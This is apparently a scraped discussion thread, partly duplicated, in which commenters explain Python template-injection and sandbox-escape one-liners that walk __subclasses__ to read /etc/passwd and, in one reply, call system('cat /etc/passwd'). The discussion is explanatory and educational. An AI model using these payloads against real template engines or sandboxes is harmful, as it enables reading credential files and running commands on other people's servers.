3 ms·

Found some GitHub issues [1] with something similar: an enterprise firewall blocking a repo because it contained the string "arglebargleglopglyf" [2] in some te

Found some GitHub issues [1] with something similar: an enterprise firewall blocking a repo because it contained the string "arglebargleglopglyf" [2] in some tests. The text was flagged as malicious because of its presence in the repo github.com/wireghoul/htshells [3]. However, the whole point of the word in the htshells repo is that it's an invalid command that breaks Apache, so it could have been almost any random string. [1] https://github.com/search?q=arglebargleglopglyf&type=issues https://github.com/search?q=arglebargleglopglyf&type=issues [2] https://mume.org/help/arglebargle https://mume.org/help/arglebargle [3] https://github.com/wireghoul/htshells/blob/master/dos/apache.dos.htaccess https://github.com/wireghoul/htshells/blob/master/dos/apache...

EdwardDiego 6y ago
This one from link 3 caught my eye: "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() Looks to be a Python 2 specific way of trying to read a file in a sneaky way. I say Python 2 specific because Python 3 strings only have 2 supertypes now, so __mro__[2] is out of range, but __mro__[1] is 'object', and I'm guessing they were going for a file like class, but right now object.__subclasses__()[40] points at "mappingproxy". And the only subclasses of object I can find with a read classmethod are these: 109 <class 'codecs.StreamReaderWriter'> 110 <class 'codecs.StreamRecoder'> Found with: for i, x in enumerate("".__class__.__mro__[1].__subclasses__()): if "read" in dir(x): print(str(i) + " " + str(x))
- m463 6y ago
  $ python2 >>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() 'root:x:0:0:root:/root:/bin/bash\n ... yep, there it is.
- masklinn 6y ago
  FWIW it’s looking for the `file` class which does not exist anymore an was a direct subclass of object: `open` now creates a TextIOWrapper<BufferedReader<TextIO>>. You can still reach TextIO though _IOBase, in python 3.9 it’s object’s 101st subclass, then 0, then 0. In 3.8 it’s 99, 0, 0.
  - tryauuum 6y ago
    This is pretty fascinating! It's a shame subclass numbers do change from version to version, so there is no "one-size-catch-all" injection string. Someone in this thread posted a solution with next() that iterates over subclasses to find the correct one. But an injection with spaces won't work as well when injected in jinja2 (something that original injection accomplishes in python2).
    - masklinn 6y ago
      > It's a shame subclass numbers do change from version to version, so there is no "one-size-catch-all" injection string. Yeah going through subclasses is not trivial, but that's the way exploits work really. And usually once you find a target the version is going to be reliable. An other big injection sources in Python is when modules are available in the evaluation context, that's way more risky than exposing classes, functions, and objects due to Python's transitive import nature: anything you import becomes an attribute of your module, meaning if your module is visible so are its module. And very often there's a point at which `sys` is imported somewhere within transitive reach. Once `sys` is available they're out of the interpreter.
- vient 6y ago
  Python 3 `system` example next(sub for c in "".__class__.__mro__ for sub in c.__subclasses__() if '__init__' in dir(sub) and '__globals__' in dir(sub.__init__) and 'system' in sub.__init__.__globals__).__init__.__globals__['system']('cat /etc/passwd')

EdwardDiego 6y ago

This one from link 3 caught my eye: "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() Looks to be a Python 2 specific way of trying to read a file in a sneaky way. I say Python 2 specific because Python 3 strings only have 2 supertypes now, so __mro__[2] is out of range, but __mro__[1] is 'object', and I'm guessing they were going for a file like class, but right now object.__subclasses__()[40] points at "mappingproxy". And the only subclasses of object I can find with a read classmethod are these: 109 <class 'codecs.StreamReaderWriter'> 110 <class 'codecs.StreamRecoder'> Found with: for i, x in enumerate("".__class__.__mro__[1].__subclasses__()): if "read" in dir(x): print(str(i) + " " + str(x))

m463 6y ago
$ python2 >>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() 'root:x:0:0:root:/root:/bin/bash\n ... yep, there it is.
masklinn 6y ago
FWIW it’s looking for the `file` class which does not exist anymore an was a direct subclass of object: `open` now creates a TextIOWrapper<BufferedReader<TextIO>>. You can still reach TextIO though _IOBase, in python 3.9 it’s object’s 101st subclass, then 0, then 0. In 3.8 it’s 99, 0, 0.
- tryauuum 6y ago
  This is pretty fascinating! It's a shame subclass numbers do change from version to version, so there is no "one-size-catch-all" injection string. Someone in this thread posted a solution with next() that iterates over subclasses to find the correct one. But an injection with spaces won't work as well when injected in jinja2 (something that original injection accomplishes in python2).
  - masklinn 6y ago
    > It's a shame subclass numbers do change from version to version, so there is no "one-size-catch-all" injection string. Yeah going through subclasses is not trivial, but that's the way exploits work really. And usually once you find a target the version is going to be reliable. An other big injection sources in Python is when modules are available in the evaluation context, that's way more risky than exposing classes, functions, and objects due to Python's transitive import nature: anything you import becomes an attribute of your module, meaning if your module is visible so are its module. And very often there's a point at which `sys` is imported somewhere within transitive reach. Once `sys` is available they're out of the interpreter.
vient 6y ago
Python 3 `system` example next(sub for c in "".__class__.__mro__ for sub in c.__subclasses__() if '__init__' in dir(sub) and '__globals__' in dir(sub.__init__) and 'system' in sub.__init__.__globals__).__init__.__globals__['system']('cat /etc/passwd')